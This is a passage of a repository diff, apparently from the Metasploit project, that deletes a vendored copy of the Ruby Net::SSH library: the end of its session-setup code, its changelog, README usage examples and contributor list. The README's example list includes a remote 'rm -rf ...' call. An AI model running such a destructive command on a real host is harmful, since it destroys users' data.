connection = Connection::Session.new(transport, options)
|
||||
connection.auth_info = auth.auth_info
|
||||
|
||||
# Tell MSF not to auto-close this socket anymore...
|
||||
# This allows the transport socket to surive with the session.
|
||||
if options[:msfmodule]
|
||||
options[:msfmodule].remove_socket(transport.socket)
|
||||
end
|
||||
|
||||
if block_given?
|
||||
yield connection
|
||||
connection.close
|
||||
else
|
||||
return connection
|
||||
end
|
||||
else
|
||||
transport.close
|
||||
raise AuthenticationFailed, user
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a hash of the configuration options for the given host, as read
|
||||
# from the SSH configuration file(s). If +use_ssh_config+ is true (the
|
||||
# default), this will load configuration from both ~/.ssh/config and
|
||||
# /etc/ssh_config. If +use_ssh_config+ is nil or false, nothing will be
|
||||
# loaded (and an empty hash returned). Otherwise, +use_ssh_config+ may
|
||||
# be a file name (or array of file names) of SSH configuration file(s)
|
||||
# to read.
|
||||
#
|
||||
# See Net::SSH::Config for the full description of all supported options.
|
||||
def self.configuration_for(host, use_ssh_config=true)
|
||||
files = case use_ssh_config
|
||||
when true then Net::SSH::Config.default_files
|
||||
when false, nil then return {}
|
||||
else Array(use_ssh_config)
|
||||
end
|
||||
|
||||
Net::SSH::Config.for(host, files)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,132 +0,0 @@
|
||||
=== (unreleased)
|
||||
|
||||
* Use unbuffered reads when negotiating the protocol version [Steven Hazel]
|
||||
|
||||
|
||||
=== 2.0.11 / 24 Feb 2009
|
||||
|
||||
* Add :key_data option for specifying raw private keys in PEM format [Alex Holems, Andrew Babkin]
|
||||
|
||||
|
||||
=== 2.0.10 / 4 Feb 2009
|
||||
|
||||
* Added Net::SSH.configuration_for to make it easier to query the SSH configuration file(s) [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0.9 / 1 Feb 2009
|
||||
|
||||
* Specifying non-nil user argument overrides user in .ssh/config [Jamis Buck]
|
||||
|
||||
* Ignore requests for non-existent channels (workaround ssh server bug) [Jamis Buck]
|
||||
|
||||
* Add terminate! method for hard shutdown scenarios [Jamis Buck]
|
||||
|
||||
* Revert to pre-2.0.7 key-loading behavior by default, but load private-key if public-key doesn't exist [Jamis Buck]
|
||||
|
||||
* Make sure :passphrase option gets passed to key manager [Bob Cotton]
|
||||
|
||||
|
||||
=== 2.0.8 / 29 December 2008
|
||||
|
||||
* Fix private key change from 2.0.7 so that keys are loaded just-in-time, avoiding unecessary prompts from encrypted keys. [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0.7 / 29 December 2008
|
||||
|
||||
* Make key manager use private keys instead of requiring public key to exist [arilerner@mac.com]
|
||||
|
||||
* Fix failing tests [arilerner@mac.com]
|
||||
|
||||
* Don't include pageant when running under JRuby [Angel N. Sciortino]
|
||||
|
||||
|
||||
=== 2.0.6 / 6 December 2008
|
||||
|
||||
* Update the Manifest file so that the gem includes all necessary files [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0.5 / 6 December 2008
|
||||
|
||||
* Make the Pageant interface comply with more of the Socket interface to avoid related errors [Jamis Buck]
|
||||
|
||||
* Don't busy-wait on session close for remaining channels to close [Will Bryant]
|
||||
|
||||
* Ruby 1.9 compatibility [Jamis Buck]
|
||||
|
||||
* Fix Cipher#final to correctly flag a need for a cipher reset [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0.4 / 27 Aug 2008
|
||||
|
||||
* Added Connection::Session#closed? and Transport::Session#closed? [Jamis Buck]
|
||||
|
||||
* Numeric host names in .ssh/config are now parsed correct [Yanko Ivanov]
|
||||
|
||||
* Make sure the error raised when a public key file is malformed is more informative than a MethodMissing error [Jamis Buck]
|
||||
|
||||
* Cipher#reset is now called after Cipher#final, with the last n bytes used as the next initialization vector [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0.3 / 27 Jun 2008
|
||||
|
||||
* Make Net::SSH::Version comparable [Brian Candler]
|
||||
|
||||
* Fix errors in port forwarding when a channel could not be opened due to a typo in the exception name [Matthew Todd]
|
||||
|
||||
* Use #chomp instead of #strip when cleaning the version string reported by the remote host, so that trailing whitespace is preserved (this is to play nice with servers like Mocana SSH) [Timo Gatsonides]
|
||||
|
||||
* Correctly parse ssh_config entries with eq-sign delimiters [Jamis Buck]
|
||||
|
||||
* Ignore malformed ssh_config entries [Jamis Buck]
|
||||
|
||||
=== 2.0.2 / 29 May 2008
|
||||
|
||||
* Make sure the agent client understands both RSA "identities answers" [Jamis Buck]
|
||||
|
||||
* Fixed key truncation bug that caused hmacs other than SHA1 to fail with "corrupt hmac" errors [Jamis Buck]
|
||||
|
||||
* Fix detection and loading of public keys when the keys don't actually exist [David Dollar]
|
||||
|
||||
|
||||
=== 2.0.1 / 5 May 2008
|
||||
|
||||
* Teach Net::SSH about a handful of default key names [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0.0 / 1 May 2008
|
||||
|
||||
* Allow the :verbose argument to accept symbols (:debug, etc.) as well as Logger level constants (Logger::DEBUG, etc.) [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0 Preview Release 4 (1.99.3) / 19 Apr 2008
|
||||
|
||||
* Make sure HOME is set to something sane, even on OS's that don't set it by default [Jamis Buck]
|
||||
|
||||
* Add a :passphrase option to specify the passphrase to use with private keys [Francis Sullivan]
|
||||
|
||||
* Open a new auth agent connection for every auth-agent channel request [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0 Preview Release 3 (1.99.2) / 10 Apr 2008
|
||||
|
||||
* Session properties [Jamis Buck]
|
||||
|
||||
* Make channel open failure work with a callback so that failures can be handled similarly to successes [Jamis Buck]
|
||||
|
||||
|
||||
=== 2.0 Preview Release 2 (1.99.1) / 22 Mar 2008
|
||||
|
||||
* Partial support for ~/.ssh/config (and related) SSH configuration files [Daniel J. Berger, Jamis Buck]
|
||||
|
||||
* Added Net::SSH::Test to facilitate testing complex SSH state machines [Jamis Buck]
|
||||
|
||||
* Reworked Net::SSH::Prompt to use conditionally-selected modules [Jamis Buck, suggested by James Rosen]
|
||||
|
||||
* Added Channel#eof? and Channel#eof! [Jamis Buck]
|
||||
|
||||
* Fixed bug in strict host key verifier on cache miss [Mike Timm]
|
||||
|
||||
|
||||
=== 2.0 Preview Release 1 (1.99.0) / 21 Aug 2007
|
||||
|
||||
* First preview release of Net::SSH v2
|
||||
@@ -1,110 +0,0 @@
|
||||
= Net::SSH
|
||||
|
||||
* http://net-ssh.rubyforge.org/ssh
|
||||
|
||||
== DESCRIPTION:
|
||||
|
||||
Net::SSH is a pure-Ruby implementation of the SSH2 client protocol. It allows you to write programs that invoke and interact with processes on remote servers, via SSH2.
|
||||
|
||||
== FEATURES:
|
||||
|
||||
* Execute processes on remote servers and capture their output
|
||||
* Run multiple processes in parallel over a single SSH connection
|
||||
* Support for SSH subsystems
|
||||
* Forward local and remote ports via an SSH connection
|
||||
|
||||
== SYNOPSIS:
|
||||
|
||||
In a nutshell:
|
||||
|
||||
require 'net/ssh'
|
||||
|
||||
Net::SSH.start('host', 'user', :password => "password") do |ssh|
|
||||
# capture all stderr and stdout output from a remote process
|
||||
output = ssh.exec!("hostname")
|
||||
|
||||
# capture only stdout matching a particular pattern
|
||||
stdout = ""
|
||||
ssh.exec!("ls -l /home/jamis") do |channel, stream, data|
|
||||
stdout << data if stream == :stdout
|
||||
end
|
||||
puts stdout
|
||||
|
||||
# run multiple processes in parallel to completion
|
||||
ssh.exec "sed ..."
|
||||
ssh.exec "awk ..."
|
||||
ssh.exec "rm -rf ..."
|
||||
ssh.loop
|
||||
|
||||
# open a new channel and configure a minimal set of callbacks, then run
|
||||
# the event loop until the channel finishes (closes)
|
||||
channel = ssh.open_channel do |ch|
|
||||
ch.exec "/usr/local/bin/ruby /path/to/file.rb" do |ch, success|
|
||||
raise "could not execute command" unless success
|
||||
|
||||
# "on_data" is called when the process writes something to stdout
|
||||
ch.on_data do |c, data|
|
||||
$STDOUT.print data
|
||||
end
|
||||
|
||||
# "on_extended_data" is called when the process writes something to stderr
|
||||
ch.on_extended_data do |c, type, data|
|
||||
$STDERR.print data
|
||||
end
|
||||
|
||||
ch.on_close { puts "done!" }
|
||||
end
|
||||
end
|
||||
|
||||
channel.wait
|
||||
|
||||
# forward connections on local port 1234 to port 80 of www.capify.org
|
||||
ssh.forward.local(1234, "www.capify.org", 80)
|
||||
ssh.loop { true }
|
||||
end
|
||||
|
||||
See Net::SSH for more documentation, and links to further information.
|
||||
|
||||
== REQUIREMENTS:
|
||||
|
||||
The only requirement you might be missing is the OpenSSL bindings for Ruby. These are built by default on most platforms, but you can verify that they're built and installed on your system by running the following command line:
|
||||
|
||||
ruby -ropenssl -e 'puts OpenSSL::OPENSSL_VERSION'
|
||||
|
||||
If that spits out something like "OpenSSL 0.9.8g 19 Oct 2007", then you're set. If you get an error, then you'll need to see about rebuilding ruby with OpenSSL support, or (if your platform supports it) installing the OpenSSL bindings separately.
|
||||
|
||||
Additionally: if you are going to be having Net::SSH prompt you for things like passwords or certificate passphrases, you'll want to have either the Highline (recommended) or Termios (unix systems only) gem installed, so that the passwords don't echo in clear text.
|
||||
|
||||
Lastly, if you want to run the tests or use any of the Rake tasks, you'll need:
|
||||
|
||||
* Echoe (for the Rakefile)
|
||||
* Mocha (for the tests)
|
||||
|
||||
== INSTALL:
|
||||
|
||||
* gem install net-ssh (might need sudo privileges)
|
||||
|
||||
== LICENSE:
|
||||
|
||||
(The MIT License)
|
||||
|
||||
Copyright (c) 2008 Jamis Buck <jamis@37signals.com>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining
|
||||
a copy of this software and associated documentation files (the
|
||||
'Software'), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish,
|
||||
distribute, sublicense, and/or sell copies of the Software, and to
|
||||
permit persons to whom the Software is furnished to do so, subject to
|
||||
the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
||||
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
||||
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
||||
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
||||
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
@@ -1,16 +0,0 @@
|
||||
Net::SSH was originally written by Jamis Buck <jamis@37signals.com>. In
|
||||
addition, the following individuals are gratefully acknowledged for their
|
||||
contributions:
|
||||
|
||||
GOTOU Yuuzou <gotoyuzo@notwork.org>
|
||||
* help and code related to OpenSSL
|
||||
|
||||
Guillaume Marçais <guillaume.marcais@free.fr>
|
||||
* support for communicating with the the PuTTY "pageant" process
|
||||
|
||||
Daniel Berger <djberg96@yahoo.com>
|
||||
* help getting unit tests in earlier Net::SSH versions to pass in Windows
|
||||
* initial version of Net::SSH::Config provided inspiration and encouragement
|
||||
|
||||
Chris Andrews <chris@nodnol.org> and Lee Jensen <lee@outerim.com>
|
||||
* support for ssh agent forwarding
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user